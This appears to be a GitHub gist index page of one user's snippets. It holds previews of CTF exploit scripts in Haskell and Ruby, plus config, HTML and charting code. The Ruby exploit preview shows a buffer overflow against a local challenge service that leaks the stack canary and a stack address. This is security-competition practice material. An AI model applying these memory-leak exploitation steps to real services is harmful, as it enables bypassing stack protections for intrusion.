Skip to content

Instantly share code, notes, and snippets.

View Tosainu's full-sized avatar
🌸
ヾ( ╹◡╹ 🌸 )ﾉ"

Kenta Sato Tosainu

🌸
ヾ( ╹◡╹ 🌸 )ﾉ"
51 followers · 38 following
View GitHub Profile
@Tosainu
Tosainu / .cvimrc
Last active December 18, 2018 04:06
let blacklists = ["https://inbox.google.com/*","https://tweetdeck.twitter.com/*","https://*.slack.com/*","http://0.0.0.0/*","http://[::]/*"]
@Tosainu
Tosainu / exploit.hs
Created April 30, 2018 19:01
{-# LANGUAGE OverloadedStrings #-}
-- ASIS CTF Quals 2018: FCascasde
import Control.Monad
import Control.Monad.IO.Class (liftIO)
import Data.Bits
import qualified Data.ByteString.Char8 as BS
import Data.Maybe
import Data.Monoid ((<>))
@Tosainu
Tosainu / exploit.hs
Created April 30, 2018 19:00
{-# LANGUAGE OverloadedStrings #-}
-- ASIS CTF Quals 2018: Cat
import Control.Monad
import Control.Monad.IO.Class (liftIO)
import Data.Bits
import qualified Data.ByteString.Char8 as BS
import Data.Maybe
import Data.Monoid ((<>))
@Tosainu
Tosainu / exploit.hs
Created March 26, 2018 14:27
{-# LANGUAGE OverloadedStrings #-}
-- CSAW CTF Qualification Round 2012: 聊天
-- http://shell-storm.org/repo/CTF/CSAW-2012/Exploitation/300/
import Control.Monad
import Data.Bits
import qualified Data.ByteString.Char8 as BS
import Data.Maybe
import Data.Monoid ((<>))
@Tosainu
Tosainu / index.html
Last active February 9, 2018 13:56
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width" />
<title>にゃーん</title>
</head>
<body>
<p id="message-box"></p>
@Tosainu
Tosainu / .gitignore
Last active December 24, 2018 10:42
私用の Pandoc テンプレート
body.aux
body.bbl
body.bcf
body.blg
body.dvi
body.fdb_latexmk
body.fls
body.log
body.out
body.pdf
@Tosainu
Tosainu / Main.hs
Last active January 5, 2018 16:02
{-# LANGUAGE FlexibleContexts #-}
module Main where
import Control.Monad (replicateM)
import Graphics.Rendering.Chart.Backend.Cairo
import Graphics.Rendering.Chart.Easy hiding ((<.>))
import Graphics.Rendering.Chart.Gtk
import Numeric.GSL.Minimization
import Numeric.LinearAlgebra
@Tosainu
Tosainu / Main.hs
Created January 3, 2018 09:05
module Main where
import Control.Monad (replicateM)
import Graphics.Rendering.Chart.Backend.Cairo
import Graphics.Rendering.Chart.Easy
import Graphics.Rendering.Chart.Gtk
import Numeric.LinearAlgebra
import System.Random
instance (Random x, Random y) => Random (x, y) where
@Tosainu
Tosainu / exploit.rb
Created November 7, 2017 08:18
require 'pwn'
z = Sock.new '127.0.0.1', 31338
z.send 'A' * 0x19
z.recv 0x18
canary = u64(z.recv 8) & (~0xff)
log.info "canary: #{canary.hex}"
z.recv
z.send 'A' * 0x40
z.recv 0x40
stack = u64((z.recv 6) + '\x00\x00') & 0x00ffffffffffff
@Tosainu
Tosainu / exploit.hs
Created October 21, 2017 11:25
#!/usr/bin/env stack
-- stack --stack-yaml ./stack.yaml runghc
-- SIGINT CTF 2013: baremetal
-- http://shell-storm.org/repo/CTF/SIGINT-2013/pwning/baremetal-100/
{-# LANGUAGE OverloadedStrings #-}
import Control.Concurrent (threadDelay)
import Control.Monad